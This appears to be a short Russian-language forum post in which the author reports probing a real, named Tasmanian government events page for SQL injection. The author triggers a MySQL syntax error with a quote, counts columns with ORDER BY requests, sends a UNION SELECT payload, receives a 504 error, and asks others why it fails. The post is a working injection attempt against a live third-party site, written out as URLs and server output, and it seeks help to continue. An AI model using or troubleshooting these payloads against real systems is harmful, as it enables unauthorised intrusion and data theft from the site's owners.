вот якобы скуль
http://www.bicentenary.tas.gov.au/events/event.php?id=10'
вызывает ошибку
Database error: Invalid SQL: SELECT * FROM activity WHERE id=10\'
MySQL Error: 1064 (You have an error in your SQL syntax near '\'' at line 1)
Session halted.
вроде вот оно счастье
определяю количество столбов
http://www.bicentenary.tas.gov.au/events/event.php?id=10+order+by+20
работает
http://www.bicentenary.tas.gov.au/events/event.php?id=10+order+by+21
выдает ошибку. Столбцов у нас 20 значит.
Сотмрю
http://www.bicentenary.tas.gov.au/events/event.php?id=10+union+select+1,2,3,4,5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20
и получаю
504 ошибку,
Вы попытались получить доступ к адресу http://www.bicentenary.tas.gov.au/events/event.php?id=10+union+select+1,2,3,4,5,6,7,8,9,10, 11,12,13,14,15,16...
О_о, в чем прикол ?